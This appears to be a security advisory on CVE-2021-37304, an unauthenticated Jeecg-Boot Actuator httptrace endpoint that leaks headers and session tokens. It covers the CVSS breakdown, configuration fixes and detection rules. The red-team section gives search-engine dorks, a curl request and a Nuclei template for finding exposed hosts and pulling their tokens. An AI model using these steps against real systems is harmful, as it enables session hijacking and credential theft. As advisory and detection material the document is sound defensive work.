CVE-2021-37304

Executive Summary

CVE-2021-37304 is an Insecure Permissions vulnerability in the Jeecg-Boot application, specifically affecting version 2.4.5 and earlier. The flaw resides in the /jeecg-boot/actuator/httptrace/ endpoint, which is exposed without authentication. This allows any unauthenticated remote attacker to access sensitive HTTP trace data, including request headers, cookies, and session tokens. The vulnerability is classified as High severity with a CVSS score of 7.5, and public proof-of-concept (PoC) code is available via a Nuclei template. No official patch has been released, and the vendor status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level issue in the Jeecg-Boot Java framework. The risk is primarily to organizations using Jeecg-Boot as a low-code development platform, as the exposed endpoint can leak sensitive data from internal applications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to the exposure of sensitive information such as session tokens, API keys, and internal network details.

Deep Dive & Mechanics

The vulnerability is due to improper access control on the Spring Boot Actuator httptrace endpoint. In Jeecg-Boot 2.4.5, the /jeecg-boot/actuator/httptrace/ endpoint is exposed without any authentication or authorization checks. This endpoint, by default, records the last 100 HTTP requests made to the application, including request headers, cookies, and response headers.

An attacker can send a simple GET request to this endpoint and receive a JSON response containing sensitive data. The data includes:

• Request headers (e.g., Authorization, Cookie, X-Forwarded-For)
• Response headers
• Session tokens
• User agent strings
• Timestamps and request paths

This information can be used to hijack active sessions, perform privilege escalation, or map internal network architecture.

Vulnerable vs. Patched Code

Vulnerable Code (Jeecg-Boot <= 2.4.5): The application.yml or application.properties file likely has the Actuator endpoints exposed without security constraints:

management:
  endpoints:
    web:
      exposure:
        include: httptrace
  endpoint:
    httptrace:
      enabled: true

Patched Code (Hypothetical): A patched version would either disable the httptrace endpoint or require authentication:

management:
  endpoints:
    web:
      exposure:
        include: health,info
  endpoint:
    httptrace:
      enabled: false

Or, using Spring Security:

http.authorizeRequests()
    .antMatchers("/actuator/httptrace/**").hasRole("ADMIN")
    .anyRequest().authenticated();

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Jeecg-Boot 2.4.5 or earlier.
• Network access to the target.

Exploitation Steps:

1. Identify the target using Shodan or FOFA dorks: title:"Jeecg-Boot" or title="jeecg-boot".
2. Send a GET request to the vulnerable endpoint:

   curl -X GET http://target.com/jeecg-boot/actuator/httptrace/
   

3. Parse the JSON response to extract sensitive data such as Authorization headers, Cookie values, and session tokens.

Nuclei Template (Provided):

id: CVE-2021-37304

info:
  name: Jeecg Boot <= 2.4.5 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Jeecg Boot to a version higher than 2.4.5 to mitigate the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2793
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37304
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37304
    cwe-id: CWE-732
    epss-score: 0.45007
    epss-percentile: 0.97604
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/actuator/httptrace/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"traces":['
          - '"headers"'
          - '"request":{'
        condition: and

      - type: status
        status:
          - 200

Blue Team

Detection Steps:

1. Monitor for GET requests to /jeecg-boot/actuator/httptrace/ from external IPs.
2. Check web server logs for 200 responses to this endpoint.
3. Review the httptrace endpoint output for any leaked credentials.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/jeecg-boot/actuator/httptrace/"
| stats count by src_ip, uri, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /jeecg-boot/actuator/httptrace/
  • Response body containing "traces":[ and "headers"
• File IOCs:
  • Log entries showing access to the httptrace endpoint
• Behavioral IOCs:
  • Unauthenticated access to Actuator endpoints
  • Sudden increase in 200 responses to /jeecg-boot/actuator/httptrace/

Detection Engineering

YARA Rule

rule CVE_2021_37304_JeecgBoot_InfoDisclosure {
    meta:
        description = "Detects HTTP responses from Jeecg-Boot httptrace endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-37304"
    strings:
        $trace = /"traces":\[/
        $header = /"headers"/
        $request = /"request":\{/
    condition:
        all of them
}

Sigma Rule

title: Jeecg-Boot Actuator httptrace Endpoint Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to the Jeecg-Boot httptrace endpoint which may indicate exploitation of CVE-2021-37304
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37304
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains: "/jeecg-boot/actuator/httptrace/"
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-37304 Jeecg-Boot httptrace Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/jeecg-boot/actuator/httptrace/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the httptrace endpoint by setting management.endpoint.httptrace.enabled=false in the application configuration.
2. Restrict access to Actuator endpoints using Spring Security or a reverse proxy (e.g., Nginx, Apache).
3. If an upgrade is possible, upgrade Jeecg-Boot to a version higher than 2.4.5 (if available).

Long-term Fix:

• Implement proper authentication and authorization for all Actuator endpoints.
• Regularly audit exposed endpoints using tools like Nuclei or OWASP ZAP.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /jeecg-boot/actuator/httptrace/.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert